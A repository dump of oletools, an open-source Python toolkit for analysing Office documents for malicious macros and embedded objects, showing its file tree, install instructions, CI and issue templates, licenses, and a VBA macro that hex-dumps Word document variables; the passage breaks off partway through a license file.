├── .gitattributes ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ └── unittests.yml ├── .gitignore ├── .travis.yml ├── INSTALL.txt ├── LICENSE.md ├── MANIFEST.in ├── README.md ├── SECURITY.md ├── cheatsheet ├── oletools_cheatsheet.docx └── oletools_cheatsheet.pdf ├── doc └── empty_file.txt ├── install.bat ├── oletools ├── DocVarDump.vba ├── LICENSE.txt ├── README.html ├── README.rst ├── __init__.py ├── common │ ├── __init__.py │ ├── clsid.py │ ├── codepages.py │ ├── errors.py │ ├── io_encoding.py │ └── log_helper │ │ ├── __init__.py │ │ ├── _json_formatter.py │ │ ├── _logger_adapter.py │ │ ├── _root_logger_wrapper.py │ │ └── log_helper.py ├── crypto.py ├── doc │ ├── Contribute.html │ ├── Contribute.md │ ├── Home.html │ ├── Home.md │ ├── Install.html │ ├── Install.md │ ├── License.html │ ├── License.md │ ├── mraptor.html │ ├── mraptor.md │ ├── mraptor1.png │ ├── olebrowse.html │ ├── olebrowse.md │ ├── olebrowse1_menu.png │ ├── olebrowse2_stream.png │ ├── olebrowse3_hexview.png │ ├── oledir.html │ ├── oledir.md │ ├── oledir.png │ ├── oleid.html │ ├── oleid.md │ ├── olemap.html │ ├── olemap.md │ ├── olemap1.png │ ├── olemap2.png │ ├── olemeta.html │ ├── olemeta.md │ ├── olemeta1.png │ ├── oleobj.html │ ├── oleobj.md │ ├── oletimes.html │ ├── oletimes.md │ ├── olevba.html │ ├── olevba.md │ ├── pyxswf.html │ ├── pyxswf.md │ ├── rtfobj.html │ └── rtfobj.md ├── ezhexviewer.py ├── ftguess.py ├── mraptor.py ├── mraptor3.py ├── mraptor_milter.py ├── msodde.py ├── olebrowse.py ├── oledir.py ├── oleform.py ├── oleid.py ├── olemap.py ├── olemeta.py ├── oleobj.py ├── oletimes.py ├── olevba.py ├── olevba3.py ├── ooxml.py ├── ppt_parser.py ├── ppt_record_parser.py ├── pyxswf.py ├── record_base.py ├── rtfobj.py ├── thirdparty │ ├── __init__.py │ ├── oledump │ │ ├── __init__.py │ │ ├── oledump_extract.py │ │ └── plugin_biff.py │ ├── prettytable │ │ ├── CHANGELOG │ │ ├── COPYING │ │ ├── README │ │ ├── __init__.py │ │ └── prettytable.py │ ├── tablestream │ │ ├── __init__.py │ │ └── tablestream.py │ ├── xglob │ │ ├── LICENSE.txt │ │ ├── __init__.py │ │ └── xglob.py │ └── xxxswf │ │ ├── LICENSE.txt │ │ ├── __init__.py │ │ └── xxxswf.py └── xls_parser.py ├── requirements.txt ├── setup.py └── tests ├── __init__.py ├── common ├── __init__.py ├── log_helper │ ├── __init__.py │ ├── log_helper_test_imported.py │ ├── log_helper_test_main.py │ ├── test_log_helper.py │ └── third_party_importer.py ├── test_clsid.py └── test_encoding_handler.py ├── ftguess ├── __init__.py └── test_basic.py ├── howto_add_unittests.txt ├── msodde ├── __init__.py ├── test_basic.py ├── test_blacklist.py ├── test_crypto.py └── test_csv.py ├── oleform ├── __init__.py └── test_basic.py ├── oleid ├── __init__.py ├── test_basic.py └── test_issue_166.py ├── oleobj ├── __init__.py ├── test_basic.py └── test_external_links.py ├── olevba ├── __init__.py ├── test_basic.py └── test_crypto.py ├── ooxml ├── __init__.py ├── test_basic.py └── test_zip_sub_file.py ├── ppt_parser ├── __init__.py └── test_basic.py ├── rtfobj ├── __init__.py ├── test_is_rtf.py ├── test_issue_185.py └── test_issue_251.py ├── test-data ├── basic │ ├── empty │ ├── encrypted.docx │ └── text ├── encrypted │ ├── autostart-encrypt-standardpassword.xls │ ├── autostart-encrypt-standardpassword.xlsb │ ├── autostart-encrypt-standardpassword.xlsm │ ├── dde-test-encrypt-standardpassword.xls │ ├── dde-test-encrypt-standardpassword.xlsb │ ├── dde-test-encrypt-standardpassword.xlsm │ ├── dde-test-encrypt-standardpassword.xlsx │ ├── encrypted.doc │ ├── encrypted.docm │ ├── encrypted.docx │ ├── encrypted.ppt │ ├── encrypted.pptm │ ├── encrypted.pptx │ ├── encrypted.xls │ ├── encrypted.xlsb │ ├── encrypted.xlsm │ └── encrypted.xlsx ├── excel4-macros │ ├── excel4_sample_macro.slk │ ├── excel4_sample_macro.xls │ ├── excel4_sample_macro.xlsb │ ├── excel4_sample_macro.xlsm │ ├── excel4_sample_macro.xlt │ ├── excel4_sample_macro.xltm │ └── excel4_sample_macro_excel5_format.xls ├── msodde │ ├── RTF-Spec-1.7.rtf │ ├── dde-in-csv.csv │ ├── dde-in-excel2003.xml │ ├── dde-in-word2003.xml.zip │ ├── dde-in-word2007.xml.zip │ ├── dde-test-from-office2003.doc.zip │ ├── dde-test-from-office2013-utf_16le-korean.doc.zip │ ├── dde-test-from-office2016.doc.zip │ ├── dde-test.docm │ ├── dde-test.docx │ ├── dde-test.xlsb │ ├── dde-test.xlsm │ ├── dde-test.xlsx │ ├── harmless-clean-2003.xml │ ├── harmless-clean.doc │ ├── harmless-clean.docm │ ├── harmless-clean.docx │ └── harmless-clean.xml ├── oleform │ └── oleform-PR314.docm ├── oleobj │ ├── embedded-simple-2007-as2003.xml │ ├── embedded-simple-2007.doc │ ├── embedded-simple-2007.docm │ ├── embedded-simple-2007.docx │ ├── embedded-simple-2007.dot │ ├── embedded-simple-2007.dotm │ ├── embedded-simple-2007.dotx │ ├── embedded-simple-2007.odp │ ├── embedded-simple-2007.ods │ ├── embedded-simple-2007.odt │ ├── embedded-simple-2007.pot │ ├── embedded-simple-2007.potm │ ├── embedded-simple-2007.potx │ ├── embedded-simple-2007.pps │ ├── embedded-simple-2007.ppsm │ ├── embedded-simple-2007.ppsx │ ├── embedded-simple-2007.ppt │ ├── embedded-simple-2007.pptm │ ├── embedded-simple-2007.pptx │ ├── embedded-simple-2007.xla │ ├── embedded-simple-2007.xlam │ ├── embedded-simple-2007.xls │ ├── embedded-simple-2007.xlsb │ ├── embedded-simple-2007.xlsm │ ├── embedded-simple-2007.xlsx │ ├── embedded-simple-2007.xlt │ ├── embedded-simple-2007.xltm │ ├── embedded-simple-2007.xltx │ ├── embedded-simple-2007.xml │ ├── embedded-unicode-2007.docx │ ├── embedded-unicode.doc │ ├── external_link │ │ ├── sample_with_external_link_to_doc.docm │ │ ├── sample_with_external_link_to_doc.docx │ │ ├── sample_with_external_link_to_doc.dotm │ │ ├── sample_with_external_link_to_doc.dotx │ │ ├── sample_with_external_link_to_doc.potm │ │ ├── sample_with_external_link_to_doc.potx │ │ ├── sample_with_external_link_to_doc.ppsm │ │ ├── sample_with_external_link_to_doc.ppsx │ │ ├── sample_with_external_link_to_doc.pptm │ │ ├── sample_with_external_link_to_doc.pptx │ │ ├── sample_with_external_link_to_doc.xlsb │ │ ├── sample_with_external_link_to_doc.xlsm │ │ └── sample_with_external_link_to_doc.xlsx │ ├── sample_with_calc_embedded.doc │ ├── sample_with_lnk_file.doc │ ├── sample_with_lnk_file.pps │ ├── sample_with_lnk_file.ppt │ └── sample_with_lnk_to_calc.doc ├── olevba │ └── sample_with_vba.ppt ├── ooxml │ ├── dde-in-excel2003.xml │ ├── dde-in-word2003.xml.zip │ ├── harmless-clean-2003.xml │ └── harmless-clean.xml ├── other │ └── presentation.xps └── rtfobj │ ├── issue_185.rtf.zip │ └── issue_251.rtf ├── test_utils ├── __init__.py ├── testdata_reader.py └── utils.py └── unittest_template.py /.gitattributes: -------------------------------------------------------------------------------- 1 | *.rtf -linguist-detectable 2 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a bug report to help us fix issues 4 | 5 | --- 6 | 7 | **Affected tool:** 8 | olevba, mraptor, rtfobj, oleid, etc 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **File/Malware sample to reproduce the bug** 14 | Please attach the file in a password protected zip archive, or provide a link where it can be downloaded (e.g. Hybrid Analysis, preferably not VirusTotal which requires paid access). If not possible, please provide a hash. 15 | 16 | **How To Reproduce the bug** 17 | Steps to reproduce the behavior, including the full command line or the options you used. 18 | 19 | **Expected behavior** 20 | A clear and concise description of what you expected to happen. 21 | 22 | **Console output / Screenshots** 23 | If applicable, add screenshots to help explain your problem. 24 | Use the option "-l debug" to add debugging information, if possible. 25 | 26 | **Version information:** 27 | - OS: Windows/Linux/Mac/Other 28 | - OS version: x.xx - 32/64 bits 29 | - Python version: 2.7/3.6 - 32/64 bits 30 | - oletools version: 31 | 32 | **Additional context** 33 | Add any other context about the problem here. 34 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | 5 | --- 6 | 7 | **Is your feature request related to a problem? Please describe.** 8 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 9 | 10 | **Describe the solution you'd like** 11 | A clear and concise description of what you want to happen. 12 | 13 | **Describe alternatives you've considered** 14 | A clear and concise description of any alternative solutions or features you've considered. 15 | 16 | **Additional context** 17 | Add any other context or screenshots about the feature request here. 18 | -------------------------------------------------------------------------------- /.github/workflows/unittests.yml: -------------------------------------------------------------------------------- 1 | name: Python package 2 | 3 | on: 4 | push: 5 | branches: [master] 6 | pull_request: 7 | branches: [master] 8 | 9 | jobs: 10 | check: 11 | runs-on: ${{ matrix.os }} 12 | strategy: 13 | matrix: 14 | os: ["ubuntu-latest", "windows-latest", "macos-latest"] 15 | python-version: ["3.x", "pypy-3.9"] 16 | include: 17 | - python-version: 3.x 18 | runlint: 1 19 | 20 | steps: 21 | - uses: actions/checkout@v4 22 | - name: Set up Python ${{ matrix.python-version }} 23 | uses: actions/setup-python@v5 24 | with: 25 | python-version: ${{ matrix.python-version }} 26 | - name: Install dependencies 27 | run: | 28 | python -c "import sys; import platform; print(sys.version); print(sys.platform); print(platform.python_implementation()); print(platform.system())" 29 | cat requirements.txt 30 | python -m pip install --upgrade pip 31 | pip install -r requirements.txt 32 | pip install pylint 33 | - name: Run pylint 34 | if: ${{ matrix.runlint }} 35 | run: pylint -E --ignore=thirdparty oletools tests 36 | - name: Run unittests 37 | run: python -m unittest discover -f -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | ### Example user template template 3 | ### Example user template 4 | 5 | # IntelliJ project files 6 | .idea 7 | *.iml 8 | out 9 | gen### Python template 10 | # Byte-compiled / optimized / DLL files 11 | __pycache__/ 12 | *.py[cod] 13 | *$py.class 14 | 15 | # C extensions 16 | *.so 17 | 18 | # Distribution / packaging 19 | .Python 20 | env/ 21 | build/ 22 | develop-eggs/ 23 | dist/ 24 | downloads/ 25 | eggs/ 26 | .eggs/ 27 | lib/ 28 | lib64/ 29 | parts/ 30 | sdist/ 31 | var/ 32 | *.egg-info/ 33 | .installed.cfg 34 | *.egg 35 | 36 | # PyInstaller 37 | # Usually these files are written by a python script from a template 38 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 39 | *.manifest 40 | *.spec 41 | 42 | # Installer logs 43 | pip-log.txt 44 | pip-delete-this-directory.txt 45 | 46 | # Unit test / coverage reports 47 | htmlcov/ 48 | .tox/ 49 | .coverage 50 | .coverage.* 51 | .cache 52 | nosetests.xml 53 | coverage.xml 54 | *,cover 55 | .hypothesis/ 56 | 57 | # Translations 58 | *.mo 59 | #*.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | target/ 77 | 78 | # IPython Notebook 79 | .ipynb_checkpoints 80 | 81 | # pyenv 82 | .python-version 83 | 84 | # celery beat schedule file 85 | celerybeat-schedule 86 | 87 | # dotenv 88 | .env 89 | 90 | # virtualenv 91 | venv/ 92 | ENV/ 93 | 94 | # Spyder project settings 95 | .spyderproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | /temp/ 101 | /issues/ 102 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | cache: pip 3 | sudo: false 4 | 5 | matrix: 6 | include: 7 | - python: 2.7 8 | - python: 3.5 9 | - python: 3.6 10 | - python: 3.7 11 | - python: 3.8 12 | - python: pypy 13 | - python: pypy3 14 | 15 | # msoffcrypto-tool causes issues on PyPy 16 | #install: 17 | # - pip install msoffcrypto-tool 18 | 19 | script: 20 | - python setup.py test 21 | -------------------------------------------------------------------------------- /INSTALL.txt: -------------------------------------------------------------------------------- 1 | How to Download and Install oletools 2 | ==================================== 3 | 4 | Pre-requisites 5 | -------------- 6 | 7 | The recommended Python version to run oletools is the latest **Python 3.x** (3.12 for now). 8 | Python 2.7 is still supported, but as it will become end of life in 2020 (see https://pythonclock.org/), it is highly 9 | recommended to switch to Python 3 now. 10 | 11 | Recommended way to Download+Install/Update oletools: pip 12 | -------------------------------------------------------- 13 | 14 | Pip is included with Python since version 2.7.9 and 3.4. If it is not installed on your 15 | system, either upgrade Python or see https://pip.pypa.io/en/stable/installing/ 16 | 17 | ### Linux, Mac OSX, Unix 18 | 19 | To download and install/update the latest release version of oletools, 20 | run the following command in a shell: 21 | 22 | ```text 23 | sudo -H pip install -U oletools 24 | ``` 25 | 26 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 27 | 28 | On some Linux distributions, it might not be allowed to install system-wide python packages 29 | with pip. In that case, pipx may be a better alternative to install oletools in a user virtual 30 | environment, and to install the command-line scripts oleid, olevba, etc: 31 | 32 | ```text 33 | pipx install oletools 34 | ``` 35 | 36 | **Important**: Since version 0.50, pip will automatically create convenient command-line scripts 37 | in /usr/local/bin to run all the oletools from any directory. 38 | 39 | ### Windows 40 | 41 | To download and install/update the latest release version of oletools, 42 | run the following command in a cmd window: 43 | 44 | ```text 45 | pip install -U oletools 46 | ``` 47 | 48 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 49 | 50 | **Note**: with Python 3, you may need to open a cmd window with Administrator privileges in order to run pip 51 | and install for all users. If that is not possible, you may also install only for the current user 52 | by adding the `--user` option: 53 | 54 | ```text 55 | pip3 install -U --user oletools 56 | ``` 57 | 58 | **Important**: Since version 0.50, pip will automatically create convenient command-line scripts 59 | to run all the oletools from any directory: olevba, mraptor, oleid, rtfobj, etc. 60 | 61 | 62 | How to install the latest development version 63 | --------------------------------------------- 64 | 65 | If you want to benefit from the latest improvements in the development version, 66 | you may also use pip: 67 | 68 | ### Linux, Mac OSX, Unix 69 | 70 | ```text 71 | sudo -H pip install -U https://github.com/decalage2/oletools/archive/master.zip 72 | ``` 73 | 74 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 75 | 76 | ### Windows 77 | 78 | ```text 79 | pip install -U https://github.com/decalage2/oletools/archive/master.zip 80 | ``` 81 | 82 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 83 | 84 | **Note**: with Python 3, you may need to open a cmd window with Administrator privileges in order to run pip 85 | and install for all users. If that is not possible, you may also install only for the current user 86 | by adding the `--user` option: 87 | 88 | ```text 89 | pip3 install -U --user https://github.com/decalage2/oletools/archive/master.zip 90 | ``` 91 | 92 | How to install offline - Computer without Internet access 93 | --------------------------------------------------------- 94 | 95 | First, download the oletools archive on a computer with Internet access: 96 | * Latest stable version: from https://pypi.org/project/oletools/ or https://github.com/decalage2/oletools/releases 97 | * Development version: https://github.com/decalage2/oletools/archive/master.zip 98 | 99 | Copy the archive file to the target computer. 100 | 101 | On Linux, Mac OSX, Unix, run the following command using the filename of the 102 | archive that you downloaded: 103 | 104 | ```text 105 | sudo -H pip install -U oletools.zip 106 | ``` 107 | 108 | On Windows: 109 | 110 | ```text 111 | pip install -U oletools.zip 112 | ``` 113 | 114 | 115 | Old school install using setup.py 116 | --------------------------------- 117 | 118 | If you cannot use pip, it is still possible to run the setup.py script 119 | directly. However, this method will not create the command-line scripts 120 | automatically. 121 | 122 | First, download the oletools archive: 123 | * Latest stable version: from https://github.com/decalage2/oletools/releases 124 | * Development version: https://github.com/decalage2/oletools/archive/master.zip 125 | 126 | Then extract the archive, open a shell and go to the oletools directory. 127 | 128 | ### Linux, Mac OSX, Unix 129 | 130 | ```text 131 | sudo -H python setup.py install 132 | ``` 133 | 134 | ### Windows: 135 | 136 | ```text 137 | python setup.py install 138 | ``` 139 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files 2 | published with their own license. 3 | 4 | The python-oletools package is copyright (c) 2012-2025 Philippe Lagadec (http://www.decalage.info) 5 | 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, 9 | are permitted provided that the following conditions are met: 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | * Redistributions in binary form must reproduce the above copyright notice, 14 | this list of conditions and the following disclaimer in the documentation 15 | and/or other materials provided with the distribution. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 19 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 20 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 21 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 22 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 24 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 25 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 26 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | 28 | 29 | ---------- 30 | 31 | olevba contains modified source code from the officeparser project, published 32 | under the following MIT License (MIT): 33 | 34 | officeparser is copyright (c) 2014 John William Davison 35 | 36 | Permission is hereby granted, free of charge, to any person obtaining a copy 37 | of this software and associated documentation files (the "Software"), to deal 38 | in the Software without restriction, including without limitation the rights 39 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 40 | copies of the Software, and to permit persons to whom the Software is 41 | furnished to do so, subject to the following conditions: 42 | 43 | The above copyright notice and this permission notice shall be included in all 44 | copies or substantial portions of the Software. 45 | 46 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 47 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 48 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 49 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 50 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 51 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 52 | SOFTWARE. 53 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include install.bat 2 | include INSTALL.txt 3 | include README.md 4 | include requirements.txt 5 | include oletools/README.rst 6 | include oletools/README.html 7 | include oletools/LICENSE.txt 8 | include oletools/DocVarDump.vba 9 | recursive-include oletools/thirdparty *.* 10 | prune oletools/thirdparty/oledump/old 11 | recursive-include cheatsheet *.pdf 12 | global-exclude *.pyc 13 | 14 | recursive-include tests *.py 15 | graft tests/test-data 16 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | This document describes how to report security issues in the oletools project. 4 | 5 | ## Supported Versions 6 | 7 | The following table shows which versions of the oletools project are 8 | currently being supported with security updates: 9 | 10 | | Version | Supported | 11 | | ------- | ------------------ | 12 | | <0.60.x | :x: | 13 | | >=0.60.x | :white_check_mark: | 14 | 15 | ## Reporting a Vulnerability 16 | 17 | If you would like to report a vulnerability affecting the oletools project, 18 | you may use the link "[Report a vulnerability](https://github.com/decalage2/oletools/security/advisories/new)" 19 | on Github. 20 | 21 | If you prefer not to use Github, please send a first email to decalage at laposte dot net, without giving 22 | technical details. You will then be provided with a GPG public key to send 23 | encrypted emails. 24 | 25 | Alternatively you may also contact me via X/Twitter, Mastodon or BlueSky 26 | using private messages (see https://linktr.ee/decalage) to get the GPG key. 27 | 28 | Please note that oletools is a non-commercial open-source project maintained 29 | on my spare time. I will do my best to answer in due time and fix 30 | vulnerabilities. 31 | -------------------------------------------------------------------------------- /cheatsheet/oletools_cheatsheet.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/cheatsheet/oletools_cheatsheet.docx -------------------------------------------------------------------------------- /cheatsheet/oletools_cheatsheet.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/cheatsheet/oletools_cheatsheet.pdf -------------------------------------------------------------------------------- /doc/empty_file.txt: -------------------------------------------------------------------------------- 1 | Nothing to see here. 2 | -------------------------------------------------------------------------------- /install.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | rem INSTALL.BAT - Easy installer for Python modules on Windows 3 | 4 | rem version 0.04 2014-02-24 Philippe Lagadec - http://www.decalage.info 5 | 6 | rem License: 7 | rem This file install.bat can freely used, modified and redistributed, as 8 | rem long as credit to the author is kept intact. Please send any feedback, 9 | rem issues or improvements to decalage at laposte.net. 10 | 11 | rem CHANGELOG: 12 | rem 2007-09-04 v0.01 PL: - first version, for Python 2.3 to 2.5 13 | rem 2009-02-27 v0.02 PL: - added support for Python 2.6 14 | rem 2013-05-07 v0.03 PL: - added support for Python 2.7 15 | rem 2014-02-24 v0.04 PL: - added support for py.exe 16 | 17 | rem 1) test if py.exe or python.exe is in the path: 18 | rem (py.exe is better because it can select python 2 or 3 according to shebang lines) 19 | 20 | py.exe --version >NUL 2>&1 21 | if errorlevel 1 goto notpy 22 | echo py.exe found in the path. 23 | py.exe setup.py install 24 | if errorlevel 1 goto error 25 | goto end 26 | :NOTPY 27 | 28 | python.exe --version >NUL 2>&1 29 | if errorlevel 1 goto notpath 30 | echo Python.exe found in the path. 31 | python setup.py install 32 | if errorlevel 1 goto error 33 | goto end 34 | :NOTPATH 35 | 36 | rem 2) test for usual python.exe paths: 37 | 38 | REM Python 2.7: 39 | c:\python27\python.exe --version >NUL 2>&1 40 | if errorlevel 1 goto notpy27 41 | echo Python.exe found in C:\Python27 42 | c:\python27\python.exe setup.py install 43 | if errorlevel 1 goto error 44 | goto end 45 | :NOTPY27 46 | 47 | REM Python 2.6: 48 | c:\python26\python.exe --version >NUL 2>&1 49 | if errorlevel 1 goto notpy26 50 | echo Python.exe found in C:\Python26 51 | c:\python26\python.exe setup.py install 52 | if errorlevel 1 goto error 53 | goto end 54 | :NOTPY26 55 | 56 | c:\python25\python.exe --version >NUL 2>&1 57 | if errorlevel 1 goto notpy25 58 | echo Python.exe found in C:\Python25 59 | c:\python25\python.exe setup.py install 60 | if errorlevel 1 goto error 61 | goto end 62 | :NOTPY25 63 | 64 | c:\python24\python.exe --version >NUL 2>&1 65 | if errorlevel 1 goto notpy24 66 | echo Python.exe found in C:\Python24 67 | c:\python24\python.exe setup.py install 68 | if errorlevel 1 goto error 69 | goto end 70 | :NOTPY24 71 | 72 | c:\python23\python.exe --version >NUL 2>&1 73 | if errorlevel 1 goto notpy23 74 | echo Python.exe found in C:\Python23 75 | c:\python23\python.exe setup.py install 76 | if errorlevel 1 goto error 77 | goto end 78 | :NOTPY23 79 | 80 | "c:\program files\python\python.exe" --version >NUL 2>&1 81 | if errorlevel 1 goto notpf 82 | echo Python.exe found in C:\Program Files\Python 83 | "c:\program files\python\python.exe" setup.py install 84 | if errorlevel 1 goto error 85 | goto end 86 | :NOTPF 87 | 88 | rem 3) last we just try to launch the script, if .py is associated to python.exe 89 | echo Python.exe not found, trying to launch setup.py directly. 90 | setup.py install 91 | if errorlevel 1 goto error 92 | goto end 93 | 94 | :ERROR 95 | echo. 96 | echo If the installation is not successful, try to run "python setup.py install" 97 | echo or simply "setup.py install" in the script directory. 98 | echo You can also copy files by hand in the site-package directory of your 99 | echo Python directory. 100 | REM pause 101 | 102 | :END 103 | pause 104 | -------------------------------------------------------------------------------- /oletools/DocVarDump.vba: -------------------------------------------------------------------------------- 1 | ' DocVarDump.vba 2 | ' 3 | ' DocVarDump is a VBA macro that can be used to dump the content of all document 4 | ' variables stored in a MS Word document. 5 | ' 6 | ' USAGE: 7 | ' 1. Open the document to be analyzed in MS Word 8 | ' 2. Do NOT click on "Enable Content", to avoid running malicious macros 9 | ' 3. Save the document with a new name, using the DOCX format (not doc, not docm) 10 | ' This will remove all VBA macro code. 11 | ' 4. Close the file, and reopen the DOCX file you just saved 12 | ' 5. Press Alt+F11 to open the VBA Editor 13 | ' 6. Double-click on "This Document" under Project 14 | ' 7. Copy and Paste all the code from DocVarDump.vba 15 | ' 8. Move the cursor on the line "Sub DocVarDump()" 16 | ' 9. Press F5: This should run the code, and create a file "docvardump.txt" 17 | ' containing a hex dump of all document variables. 18 | ' 19 | ' ALTERNATIVE: Open the document in LibreOffice/OpenOffice, 20 | ' then go to File / Properties / Custom Properties 21 | ' 22 | ' Author: Philippe Lagadec - http://www.decalage.info 23 | ' License: BSD, see source code or documentation 24 | ' 25 | ' DocVarDump is part of the python-oletools package: 26 | ' http://www.decalage.info/python/oletools 27 | 28 | ' CHANGELOG: 29 | ' 2016-09-21 v0.01 PL: - First working version 30 | ' 2017-04-10 v0.02 PL: - Added usage instructions 31 | 32 | Sub DocVarDump() 33 | intFileNum = FreeFile 34 | FName = Environ("TEMP") & "\docvardump.txt" 35 | Open FName For Output As intFileNum 36 | For Each myvar In ActiveDocument.Variables 37 | Write #intFileNum, "Name = " & myvar.Name 38 | 'TODO: check VarType, and only use hexdump for strings with non-printable chars 39 | Write #intFileNum, "Value = " & HexDump(myvar.value) 40 | Write #intFileNum, 41 | Next myvar 42 | Close intFileNum 43 | Documents.Open (FName) 44 | End Sub 45 | 46 | Function Hex2(value As Integer) 47 | h = Hex(value) 48 | If Len(h) < 2 Then 49 | h = "0" & h 50 | End If 51 | Hex2 = h 52 | End Function 53 | 54 | Function HexN(value As Integer, nchars As Integer) 55 | h = Hex(value) 56 | Do While Len(h) < nchars 57 | h = "0" & h 58 | Loop 59 | HexN = h 60 | End Function 61 | 62 | Function ReplaceClean1(sText As String) 63 | Dim J As Integer 64 | Dim vAddText 65 | 66 | vAddText = Array(Chr(129), Chr(141), Chr(143), Chr(144), Chr(157)) 67 | For J = 0 To 31 68 | sText = Replace(sText, Chr(J), "\x" & Hex2(J)) 69 | Next 70 | For J = 0 To UBound(vAddText) 71 | c = vAddText(J) 72 | a = Asc(c) 73 | sText = Replace(sText, c, "\x" & Hex2(a)) 74 | Next 75 | ReplaceClean1 = sText 76 | End Function 77 | 78 | Function ReplaceClean3(sText As String) 79 | Dim J As Integer 80 | For J = 0 To 31 81 | sText = Replace(sText, Chr(J), ".") 82 | Next 83 | For J = 127 To 255 84 | sText = Replace(sText, Chr(J), ".") 85 | Next 86 | ReplaceClean3 = sText 87 | End Function 88 | 89 | Function HexBytes(sText As String) 90 | Dim i As Integer 91 | HexBytes = "" 92 | For i = 1 To Len(sText) 93 | HexBytes = HexBytes & Hex2(Asc(Mid(sText, i))) & " " 94 | Next 95 | End Function 96 | 97 | 98 | Function HexDump(sText As String) 99 | Dim chunk As String 100 | Dim i As Long 101 | ' "\" is integer division, "/" is normal division (float) 102 | nbytes = 8 103 | nchunks = Len(sText) \ nbytes 104 | lastchunk = Len(sText) Mod nbytes 105 | HexDump = "" 106 | For i = 0 To nchunks - 1 107 | Offset = HexN(i * nbytes, 8) 108 | chunk = Mid(sText, i * nbytes + 1, nbytes) 109 | HexDump = HexDump & Offset & " " & HexBytes(chunk) & " " & ReplaceClean3(chunk) & vbCrLf 110 | Next i 111 | 'TODO: LAST CHUNK! 112 | If lastchunk > 0 Then 113 | Offset = HexN(nchunks * nbytes, 8) 114 | chunk = Mid(sText, nchunks * nbytes + 1, lastchunk) 115 | HexDump = HexDump & Offset & " " & HexBytes(chunk) & " " & ReplaceClean3(chunk) & vbCrLf 116 | End If 117 | End Function 118 | -------------------------------------------------------------------------------- /oletools/LICENSE.txt: -------------------------------------------------------------------------------- 1 | LICENSE for the python-oletools package: 2 | 3 | This license applies to the python-oletools package, apart from the thirdparty 4 | folder which contains third-party files published with their own license. 5 | 6 | The python-oletools package is copyright (c) 2012-2024 Philippe Lagadec (http://www.decalage.info) 7 | 8 | All rights reserved. 9 | 10 | Redistribution and use in source and binary forms, with or without modification, 11 | are permitted provided that the following conditions are met: 12 | 13 | * Redistributions of source code must retain the above copyright notice, this 14 | list of conditions and the following disclaimer. 15 | * Redistributions in binary form must reproduce the above copyright notice, 16 | this list of conditions and the following disclaimer in the documentation 17 | and/or other materials provided with the distribution. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 20 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 21 | WARRANTIES OF MERCHANTABILITY AND 